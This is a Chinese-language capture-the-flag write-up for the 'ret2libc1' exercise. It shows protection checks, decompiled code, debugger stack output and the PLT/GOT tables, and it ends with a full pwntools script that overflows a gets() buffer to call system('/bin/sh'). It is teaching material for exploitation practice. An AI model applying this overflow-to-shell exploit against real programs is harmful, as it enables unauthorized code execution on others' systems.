ret2libc

checksec

使用checksec查看文件的保护措施。

ROP$ checksec ret2libc1
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到只开启了部分随即地址化。

IDA静态查看

文件架构是i386-32-little，那么将文件放入32位IDA中查看源码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

源码很简单，输出RET2LIBC >_<，然后get()输入；放入gdb中调试一下。

gdb动态查看

在get()输入aaaa后查看栈帧：

07:001c│ eax  0xffffd4ec ◂— 'aaaa'
08:0020│ edx  0xffffd4f0 ◂— 0x0
09:0024│      0xffffd4f4 ◂— 0x534
0a:0028│      0xffffd4f8 ◂— 0x9e
0b:002c│      0xffffd4fc —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│      0xffffd500 ◂— 0x0
0d:0034│      0xffffd504 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│      0xffffd508 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│      0xffffd50c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│      0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│      0xffffd514 —▸ 0xf7fe22f0 ◂— endbr32 
12:0048│      0xffffd518 ◂— 0x0
13:004c│      0xffffd51c —▸ 0x8048405 (_init+9) ◂— add    ebx, 0x1bfb
14:0050│      0xffffd520 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│      0xffffd524 ◂— 0x40000
16:0058│      0xffffd528 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│      0xffffd52c —▸ 0x80486e2 (__libc_csu_init+82) ◂— add    edi, 1
18:0060│      0xffffd530 ◂— 0x1
19:0064│      0xffffd534 —▸ 0xffffd5f4 —▸ 0xffffd738 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd538 —▸ 0xffffd5fc —▸ 0xffffd75e ◂— 'LANG=zh_CN.UTF-8'
1b:006c│      0xffffd53c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add    esp, 0x1c
1c:0070│      0xffffd540 —▸ 0xf7fe22f0 ◂— endbr32 
1d:0074│      0xffffd544 ◂— 0x0
1e:0078│      0xffffd548 —▸ 0x804869b (__libc_csu_init+11) ◂— add    ebx, 0x1965
1f:007c│      0xffffd54c ◂— 0x0
20:0080│      0xffffd550 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp  0xffffd558 ◂— 0x0

栈底地址为：0xffffd558，get()输入的内容地址在0xffffd4ec；使用python计算溢出距离：

>>> 0xffffd558 - 0xffffd4ec
108

那么可以得知距离为108字节，加上ebp的4个字节，总共就是112字节；system函数在secure函数中，故plt中有着system的地址。plt和got不懂可以百度学习一下。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 10
 
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push   0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push   8
[0x804a014] puts@GLIBC_2.0 -> 0xf7e3ccd0 (puts) ◂— endbr32 
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push   0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push   0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push   0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7de9df0 (__libc_start_main) ◂— endbr32 
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7e3d4c0 (setvbuf) ◂— endbr32 
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push   0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push   0x48 /* 'hH' */
pwndbg> plt
0x8048430: gets@plt
0x8048440: time@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: srand@plt
0x8048490: __libc_start_main@plt
0x80484a0: setvbuf@plt
0x80484b0: rand@plt
0x80484c0: __isoc99_scanf@plt

最终payload:

from pwn import * 

io = process("./ret2libc1")
elf = ELF("./ret2libc1")

system_plt = elf.plt["system"]   #获取system函数的地址
bin_sh = next(elf.search(b"/bin/sh")) #获取/bin/sh字符串作为system的参数
payload = b"a" * 112 + p32(system_plt)  + b"b" * 4 + p32(bin_sh)  #构造payload

io.sendline(payload)
io.interactive()